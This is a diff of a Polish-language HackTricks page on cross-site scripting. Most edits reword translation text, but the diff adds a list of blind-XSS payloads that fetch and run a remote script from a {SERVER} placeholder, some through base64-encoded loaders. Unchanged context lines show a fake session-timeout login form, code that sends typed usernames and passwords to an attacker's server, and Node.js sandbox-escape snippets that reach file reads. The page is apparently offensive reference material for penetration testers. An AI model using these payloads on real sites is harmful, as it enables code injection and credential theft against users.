<script type="webbundle">
 | 
			
		||||
{
 | 
			
		||||
@ -897,7 +897,7 @@ import moment from "moment"
 | 
			
		||||
import { partition } from "lodash"
 | 
			
		||||
</script>
 | 
			
		||||
```
 | 
			
		||||
To zachowanie zostało wykorzystane w [**tym opisie**](https://github.com/zwade/yaca/tree/master/solution), aby przemapować bibliotekę na eval, aby nadużyć jej i wywołać XSS.
 | 
			
		||||
To zachowanie zostało użyte w [**tym opisie**](https://github.com/zwade/yaca/tree/master/solution), aby przemapować bibliotekę na eval, aby nadużyć jej i wywołać XSS.
 | 
			
		||||
 | 
			
		||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ta funkcja ma na celu rozwiązanie niektórych problemów spowodowanych wstępnym renderowaniem. Działa to w ten sposób:
 | 
			
		||||
```html
 | 
			
		||||
@ -917,7 +917,7 @@ To zachowanie zostało wykorzystane w [**tym opisie**](https://github.com/zwade/
 | 
			
		||||
```
 | 
			
		||||
### Typy zawartości sieciowej do XSS
 | 
			
		||||
 | 
			
		||||
(Z [**tutaj**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące typy zawartości mogą wykonywać XSS we wszystkich przeglądarkach:
 | 
			
		||||
(Źródło: [**tutaj**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące typy zawartości mogą wykonywać XSS we wszystkich przeglądarkach:
 | 
			
		||||
 | 
			
		||||
- text/html
 | 
			
		||||
- application/xhtml+xml
 | 
			
		||||
@ -985,7 +985,7 @@ constructor(source)()
 | 
			
		||||
// For more uses of with go to challenge misc/CaaSio PSE in
 | 
			
		||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 | 
			
		||||
```
 | 
			
		||||
Jeśli **wszystko jest niezdefiniowane** przed wykonaniem nieufnego kodu (jak w [**tym opisie**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), możliwe jest generowanie użytecznych obiektów "z niczego", aby nadużyć wykonania dowolnego nieufnego kodu:
 | 
			
		||||
Jeśli **wszystko jest niezdefiniowane** przed wykonaniem nieufnego kodu (jak w [**tym artykule**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), możliwe jest generowanie użytecznych obiektów "z niczego", aby nadużyć wykonania dowolnego nieufnego kodu:
 | 
			
		||||
 | 
			
		||||
- Używając import()
 | 
			
		||||
```javascript
 | 
			
		||||
@ -1009,7 +1009,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 | 
			
		||||
)
 | 
			
		||||
})()
 | 
			
		||||
```
 | 
			
		||||
W podobny sposób jak w poprzednim przykładzie, możliwe jest **użycie handlerów błędów** do uzyskania dostępu do **wrappera** modułu i uzyskania funkcji **`require`**:
 | 
			
		||||
W podobny sposób jak w poprzednim przykładzie, możliwe jest **użycie obsługi błędów** do uzyskania dostępu do **wrappera** modułu i uzyskania funkcji **`require`**:
 | 
			
		||||
```javascript
 | 
			
		||||
try {
 | 
			
		||||
null.f()
 | 
			
		||||
@ -1363,7 +1363,7 @@ _Krótkie czasy wskazują na odpowiadający port_ _Dłuższe czasy wskazują na
 | 
			
		||||
 | 
			
		||||
Sprawdź listę portów zablokowanych w Chrome [**tutaj**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i w Firefox [**tutaj**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
 | 
			
		||||
 | 
			
		||||
### Okno do wprowadzenia danych uwierzytelniających
 | 
			
		||||
### Box do prośby o dane uwierzytelniające
 | 
			
		||||
```html
 | 
			
		||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 | 
			
		||||
```
 | 
			
		||||
@ -1378,7 +1378,7 @@ mode: 'no-cors',
 | 
			
		||||
body:username.value+':'+this.value
 | 
			
		||||
});">
 | 
			
		||||
```
 | 
			
		||||
Kiedy jakiekolwiek dane są wprowadzane w polu hasła, nazwa użytkownika i hasło są wysyłane na serwer atakującego, nawet jeśli klient wybierze zapisane hasło i nic nie wpisze, dane uwierzytelniające zostaną wyekstrahowane.
 | 
			
		||||
Gdy jakiekolwiek dane zostaną wprowadzone w polu hasła, nazwa użytkownika i hasło są wysyłane na serwer atakującego, nawet jeśli klient wybierze zapisane hasło i nic nie wpisze, dane uwierzytelniające zostaną wyekstrahowane.
 | 
			
		||||
 | 
			
		||||
### Keylogger
 | 
			
		||||
 | 
			
		||||
@ -1471,6 +1471,31 @@ Możesz również użyć: [https://xsshunter.com/](https://xsshunter.com)
 | 
			
		||||
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
 | 
			
		||||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
 | 
			
		||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
 | 
			
		||||
 | 
			
		||||
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
 | 
			
		||||
<!-- Image tag -->
 | 
			
		||||
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
 | 
			
		||||
 | 
			
		||||
<!-- Input tag with autofocus -->
 | 
			
		||||
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
 | 
			
		||||
 | 
			
		||||
<!-- In case jQuery is loaded, we can make use of the getScript method -->
 | 
			
		||||
'"><script>$.getScript("{SERVER}/script.js")</script>
 | 
			
		||||
 | 
			
		||||
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
 | 
			
		||||
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
 | 
			
		||||
 | 
			
		||||
<!-- Render an iframe to validate your injection point and receive a callback -->
 | 
			
		||||
'"><iframe src="{SERVER}"></iframe>
 | 
			
		||||
 | 
			
		||||
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
 | 
			
		||||
<base href="{SERVER}" />
 | 
			
		||||
 | 
			
		||||
<!-- Make use of the meta-tag to initiate a redirect -->
 | 
			
		||||
<meta http-equiv="refresh" content="0; url={SERVER}" />
 | 
			
		||||
 | 
			
		||||
<!-- In case your target makes use of AngularJS -->
 | 
			
		||||
{{constructor.constructor("import('{SERVER}/script.js')")()}}
 | 
			
		||||
```
 | 
			
		||||
### Regex - Dostęp do ukrytej zawartości
 | 
			
		||||
 | 
			
		||||
@ -1537,7 +1562,7 @@ AMP, mający na celu przyspieszenie wydajności stron internetowych na urządzen
 | 
			
		||||
 | 
			
		||||
Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) rozszerza określone komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w ich e-mailach.
 | 
			
		||||
 | 
			
		||||
Przykład [**writeup XSS w Amp4Email w Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 | 
			
		||||
Przykład [**opisu XSS w Amp4Email w Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 | 
			
		||||
 | 
			
		||||
### XSS przesyłanie plików (svg)
 | 
			
		||||
 | 
			
		||||
@ -1612,5 +1637,6 @@ other-js-tricks.md
 | 
			
		||||
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
 | 
			
		||||
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
 | 
			
		||||
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
 | 
			
		||||
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user